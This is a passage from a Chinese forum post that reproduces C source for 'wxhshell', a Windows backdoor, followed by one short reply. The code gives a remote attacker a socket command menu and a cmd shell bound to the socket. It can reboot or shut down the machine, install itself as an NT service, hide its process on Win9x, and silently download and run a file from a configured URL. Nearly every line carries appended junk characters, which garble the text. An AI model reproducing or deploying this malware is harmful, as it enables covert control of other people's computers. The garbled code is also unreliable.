  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6<fG; :  
  } g\.$4N  
  else { ,3f>-mP  
ku]?"{Xx  
    switch(cmd[0]) { kI@<H<  
  IHd W!q  
  // 帮助 ysIhUpd  
  case '?': { aHpZhR| f$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZBY2,%nAo  
    break; WfG +_iP?  
  } @Bhcb.kbq  
  // 安装 },JJ!3  
  case 'i': { 0\ (:y^X  
    if(Install()) E JuTv%Y8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <y^_&9  
    else @/^mFqr2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { ,c*OR  
    break; Z10}xqi!X  
    } *DfOm`m  
  // 卸载 a%b E}  
  case 'r': { Rb:<?&7ZzN  
    if(Uninstall()) 76<mP*5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y||RK` H  
    else T~Bj],k_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u4SL:IH{D  
    break; EUcD[Rv  
    } BPt? 3tC  
  // 显示 wxhshell 所在路径 1Pw1TO"Z  
  case 'p': { *w*>\ZhOm  
    char svExeFile[MAX_PATH]; -XCs?@8EQ  
    strcpy(svExeFile,"\n\r"); >Q=^X3to  
      strcat(svExeFile,ExeFile); 9.M'FCd~M  
        send(wsh,svExeFile,strlen(svExeFile),0); R3|4|JlGR  
    break; \#dacQ2E@  
    } jLVD37 P^  
  // 重启 ] T]{VB  
  case 'b': { ^&1O:G*"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |H_WY#  
    if(Boot(REBOOT)) n^ fUKi*;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b-  t  
    else { `}=R  
    closesocket(wsh); Qm[s"pM  
    ExitThread(0); W>d)(  
    } %ZWt 45A  
    break; 9AB U^ig  
    } ^-k"gLg  
  // 关机 P o@;PR=  
  case 'd': { =r ^_D=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~Y CH5,  
    if(Boot(SHUTDOWN)) o68i0aFW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T pF [-fO  
    else { EC,`t*<  
    closesocket(wsh); MU a[}?  
    ExitThread(0); QE[<Y3M  
    } .aY $-Y<  
    break; <Jhd%O  
    } c5WMN.z  
  // 获取shell ~i%=1&K&`  
  case 's': { &U]/SFY  
    CmdShell(wsh); <O'U-. Gc  
    closesocket(wsh); >rEZ$h  
    ExitThread(0); naf ~#==vc  
    break; Sf*v#?  
  } 13 #ff  
  // 退出 ;Hk3y+&]a  
  case 'x': { (wZ!OLY%}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ? F #&F  
    CloseIt(wsh); <YFDS;b|  
    break; U0j>u*yE  
    } qD>^aEd@4  
  // 离开 _`\!+qGq  
  case 'q': { YWH>tt 9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;NRh0)%|o  
    closesocket(wsh); PJN9[Y{^3  
    WSACleanup(); B1nm?E 0i  
    exit(1); C&w0HoF  
    break; &F~d~;G"q  
        } k"i3$^v8  
  } \vT~2Y(K  
  } z&d.YO_W  
<5z!0m-G  
  // 提示信息 CipDeqau2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t7F0[E'=5\  
} +X^GS^mz  
  } W$zRUG-  
~bb6NP;'L  
  return; P5_Ajb(@'  
} { %X2K  
4joE"H6  
// shell模块句柄 @s-P!uCaT  
int CmdShell(SOCKET sock) "V]*ov&[  
{ zT,@PIC(  
STARTUPINFO si; WC~;t4  
ZeroMemory(&si,sizeof(si)); OmWEa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f't.?M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ekyCZ8iai  
PROCESS_INFORMATION ProcessInfo; 3i!a\N4 K  
char cmdline[]="cmd"; `X@\Zv=}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d|NW&PG  
  return 0; ,6g{-r-2  
} %[*-aA  
6;'[v}O^^  
// 自身启动模式 IVSC7SBiT  
int StartFromService(void) (?1$  
{ LQPQ !):;  
typedef struct R'c dEoy  
{ M+ %O-B  
  DWORD ExitStatus; ?;W"=I*3  
  DWORD PebBaseAddress; d5gwc5X  
  DWORD AffinityMask; #  `E  
  DWORD BasePriority; m6e(Xk,)  
  ULONG UniqueProcessId; Ln,<|,fZN  
  ULONG InheritedFromUniqueProcessId; X^eyrqv  
}   PROCESS_BASIC_INFORMATION; Ljz)%y[s  
2v ~8fr4  
PROCNTQSIP NtQueryInformationProcess; !FP ]  
(v/L   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K _VIk'RB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^R@)CIQ  
5 [~HL_u;,  
  HANDLE             hProcess; (]'wQ4iQ  
  PROCESS_BASIC_INFORMATION pbi; .2@T|WD!Ah  
49*f=gpGj2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JE9v+a{7  
  if(NULL == hInst ) return 0; ZNw|5u^N  
t^":.}[Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D|ze0A@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o!UB x<4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /(s |'"6  
Q"FN"uQ}x  
  if (!NtQueryInformationProcess) return 0; -"nkC  
IwnDG;+Ap  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S,:!H@~B  
  if(!hProcess) return 0; 0<`qz |_h  
G^d3$7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /P,1KVQPh  
7/<~s]D[%  
  CloseHandle(hProcess); cOP'ql{"  
e#HPU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =A6*;T"W  
if(hProcess==NULL) return 0; kQ\ $0=6N9  
?Sh]kJ O  
HMODULE hMod; i_*yS+Z;  
char procName[255]; )'n@A%B  
unsigned long cbNeeded; _WWC8?6 U  
3:jxr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jnp~ACN,  
W'vekuM  
  CloseHandle(hProcess); Lld45Bayb  
^ou)c/68aQ  
if(strstr(procName,"services")) return 1; // 以服务启动 _@B?  
_\+]/rY9o  
  return 0; // 注册表启动 UiV#w#&P  
} KU$,{Sn6@  
J8Wits]A]$  
// 主模块 QY)p![6Fj  
int StartWxhshell(LPSTR lpCmdLine) Nxe1^F33  
{ PzKTEYJL  
  SOCKET wsl; u|IS7>Sm  
BOOL val=TRUE; Cty{   
  int port=0; *Ze0V9$'  
  struct sockaddr_in door; )KFxtM-  
[&99#7B  
  if(wscfg.ws_autoins) Install(); x @43ZH_  
y$7Ys:R~  
port=atoi(lpCmdLine); %_s)Gw&sq  
ZJs~,Q  
if(port<=0) port=wscfg.ws_port; D1y`J&A>Q  
-hnNa A  
  WSADATA data; bxh-#x &  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <1I4JPh>x  
f{VV U/$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |Yw k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6inAnC@I  
  door.sin_family = AF_INET; >C_G~R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .\$A7DD+A  
  door.sin_port = htons(port); O1o>eDE5A  
Zm*d)</>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CJN~p]\  
closesocket(wsl); bh5D}w  
return 1; _}p [(sTV  
} >+7{PF+sB  
] hK}ASC  
  if(listen(wsl,2) == INVALID_SOCKET) { Mu/(Xp62  
closesocket(wsl); :u9'ZHkZ  
return 1; DQ+6VPc^o  
} \l(J6Tu  
  Wxhshell(wsl); 8zeeC eIU  
  WSACleanup(); ^*fD  
}d; 2[fR)  
return 0; \ejHM}w3,  
tUH?N/qn  
} T=YVG@fm?  
d%k7n+ICQ4  
// 以NT服务方式启动 \}h   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F&!vtlV)  
{ ]CLM'$  
DWORD   status = 0; Szt2 "AR  
  DWORD   specificError = 0xfffffff; $$ *tK8#  
u_NLgM7*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lv/im/]v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l9uocP:D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3 orZBT  
  serviceStatus.dwWin32ExitCode     = 0; I]d-WTd  
  serviceStatus.dwServiceSpecificExitCode = 0; w.58=Pr  
  serviceStatus.dwCheckPoint       = 0; 99*k&mb  
  serviceStatus.dwWaitHint       = 0; py\:u5QS  
Qqg.z-G%.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }kQ{T:q4  
  if (hServiceStatusHandle==0) return; zB0*KgAn{  
'A5T$JV.r4  
status = GetLastError(); d`rZgY  
  if (status!=NO_ERROR) MuMq%uDA"  
{ &G_#=t&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `PAQv+EYz  
    serviceStatus.dwCheckPoint       = 0; t<fah3hl  
    serviceStatus.dwWaitHint       = 0; [c=P)t7 V  
    serviceStatus.dwWin32ExitCode     = status; :qxWANUa  
    serviceStatus.dwServiceSpecificExitCode = specificError; cdkEK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  &ox  
    return; +pG+ xI  
  } t[+bZUS$~  
"9'3mmZm=?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  ^cw9Yjh6  
  serviceStatus.dwCheckPoint       = 0; v|~=rvXFC  
  serviceStatus.dwWaitHint       = 0; T1$p%yQH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (" :Dz_  
} `Gv\"|Gn  
uz+ WVmb  
// 处理NT服务事件,比如:启动、停止 2iM}YCV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v\dQjQu8m  
{ 6oLOA}q   
switch(fdwControl) eb`3'&zV&)  
{ &c!6e<o[p  
case SERVICE_CONTROL_STOP: vC>2%Zgf-  
  serviceStatus.dwWin32ExitCode = 0; })<u ~r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O^CBa$  
  serviceStatus.dwCheckPoint   = 0; uQc("F  
  serviceStatus.dwWaitHint     = 0; F-zIzzb&O  
  { h[qZM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^vM6_=g2E%  
  } &,<,!j)Jr  
  return; RiAg:  
case SERVICE_CONTROL_PAUSE: rfVQX<95=/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s9"X.-!  
  break; .gfi9J  
case SERVICE_CONTROL_CONTINUE: )nf%S+KV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?" 4X&6xl  
  break; |Q)mBvvN  
case SERVICE_CONTROL_INTERROGATE: *#>(P  
  break; pLe4dz WA  
}; D~ 3@v+d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eE'>kP}  
} -4+'(3qr  
4+>yL+sC%v  
// 标准应用程序主函数 bP-(N14x+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uQH]  
{ 0J/yd  
V0 {#q/q  
// 获取操作系统版本 D+;4|7s+  
OsIsNt=GetOsVer(); UfPB-EFl$D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7/a7p(   
>b"@{MZ@t  
  // 从命令行安装 ,N:^4A  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,w6?Ap  
4|&/# Cz^Y  
  // 下载执行文件 C zw]5  
if(wscfg.ws_downexe) { :'%|LBc0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |MKR&%Na  
  WinExec(wscfg.ws_filenam,SW_HIDE); _Jg#T~  
} {sB-"NR`K  
9Br+]F _i  
if(!OsIsNt) { g7?[}?]3"p  
// 如果时win9x,隐藏进程并且设置为注册表启动 8K 9HFT@yV  
HideProc(); ssQ1u.x9  
StartWxhshell(lpCmdLine); 3<<wHK;)  
} *:d ``L  
else r3?8nQ$  
  if(StartFromService()) +|bmUm<2  
  // 以服务方式启动 `^{G`es  
  StartServiceCtrlDispatcher(DispatchTable); _ZavY<6  
else !I1p`_(_7  
  // 普通方式启动 =7TWzUCO#  
  StartWxhshell(lpCmdLine); A@|Z^T:  
{J1rjrPo  
return 0; TJRp/BP  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五